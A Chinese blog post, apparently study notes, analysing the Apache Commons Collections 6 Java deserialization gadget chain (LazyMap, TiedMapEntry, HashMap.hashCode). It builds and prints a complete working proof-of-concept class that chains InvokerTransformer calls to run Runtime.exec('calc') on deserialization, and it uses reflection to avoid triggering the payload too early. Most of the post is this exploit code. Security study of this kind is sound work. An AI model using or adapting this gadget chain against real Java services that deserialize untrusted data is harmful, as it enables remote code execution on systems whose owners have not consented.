ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CommonCollections6链分析

2022-03-20 13:00:41  阅读:142  来源: 互联网

标签:map HashMap 链分析 Object CommonCollections6 key new class


前言

​ 本文参考b站白日梦组长仅做笔记记录,完全跟着他复现,大家可以参考他的视频学习。

Gadget分析

因为只看了cc1可以说cc6利用的是cc1的前半部分,一直到LazyMap.decorate

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

能走到LazyMap其实主要是LazyMap的get方法调用了factory.transform

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

然后再看哪里调用了get方法,发现TiedMapEntry的getValue调用了get方法,只要控制map为LazyMap就可以调用LazyMap.get方法

    /**
     * Gets the value of this entry direct from the map.
     * 
     * @return the value
     */
    public Object getValue() {
        return map.get(key);
    }

然后还发现TiedMapEntry的hashCode调用了getValue,getValue里面调用了map.get方法,这样链子就通了。

    /**
     * Gets a hashCode compatible with the equals method.
     * <p>
     * Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
     * 
     * @return a suitable hash code
     */
    public int hashCode() {
        Object value = getValue();
        return (getKey() == null ? 0 : getKey().hashCode()) ^
               (value == null ? 0 : value.hashCode()); 
    }

这个时候能联想到URLDNS链,HashMap中的readObject调用了hash方法

putVal(hash(key), key, value, false, false);

hash方法又调用了hashCode

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

我们传入的key为TiedMapEntry就可以调用TiedMapEntry的hashCode方法,所以Gadget就出来了

	Gadget chain:
	    java.io.ObjectInputStream.readObject()
            java.util.HashSet.readObject()
                java.util.HashMap.put()
                java.util.HashMap.hash()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
                    org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                        org.apache.commons.collections.map.LazyMap.get()
                            org.apache.commons.collections.functors.ChainedTransformer.transform()
                            org.apache.commons.collections.functors.InvokerTransformer.transform()
                            java.lang.reflect.Method.invoke()
                                java.lang.Runtime.exec()

poc编写

前半部分用的都是cc1的链

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

TiedMapEntry可以接收两个参数,一个map一个key。

    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }
    public Object getValue() {
        return map.get(key);
    }

我们要调用LazyMap.get,所以map要传LazyMap,key随意得到

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");

然后我们要调用这个TiedMapEntry,先写一个HashMap

HashMap<Object, Object> map2 = new HashMap<>();

最后是要调用hash方法

putVal(hash(key), key, value, false, false);

hash方法调用了那个hashCode

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

我们是要调用TiedMapEntry.hashCode,所以我们要给key赋值,value随意

所以现在的poc为

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"Demodd");

这个时候会遇到一个问题,就是执行poc也会执行calc.exe。然后我们可以想一下为什么,这就回到了URLDNS那条链

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

执行map2.put的时候会调用hashMap的put方法也会执行 putVal,这样就把咱们的流程走完了,所以我们现在要做的就是不让他执行这个put方法。执行这个put方法其实是一定的,这里我们不能组织,那我们可以更改前面的链,也就是在调用那些transform的地方动手脚,只要时不让他正确执行然后我们后面再把这个地方修改为正确就好。

所以我们可以修改

Map<Object,Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

这里是传了chainedTransformer,我们可以把他修改为别的东西,对这条链执行没有影响的

Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));

ConstantTransformer需要接收一个参数,随便赋值就可以。

然后我们怎么把这个改回去呢,我们可以看看LazyMap.decorate

public static Map decorate(Map map, Factory factory) {
        return new LazyMap(map, factory);
    }

第二个参数是调用了factory,跟进一下

  protected final Transformer factory;

是一个protected,所以我们只能通过反射修改他的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

现在的poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"Demo");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
//        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

先序列化再反序列化发现并不能弹出计算器,原因是在执行反序列化的时候map里面已经有Key了,我们可以通过反序列化跟进一下看一下,在map2.put(tiedMapEntry,“Demodd”);这个地方下断点(由于不太会调试所以详细记录下)

image-20220320123637660

image-20220320123655423

单击hash

image-20220320123737555

image-20220320123807133

image-20220320123819580

image-20220320123829858

在这能发现执行了map.put

image-20220320123931923

所以我们要在反序列化之前移除这个key

lazyMap.remove("Demodd");

总poc为

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "Demodd");
        HashMap<Object, Object> map2 = new HashMap<>();
        map2.put(tiedMapEntry,"Demo");
        lazyMap.remove("Demodd");
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazyMap,chainedTransformer);
//        serialize(map2);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

标签:map,HashMap,链分析,Object,CommonCollections6,key,new,class
来源: https://blog.csdn.net/qq_47886905/article/details/123611042

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有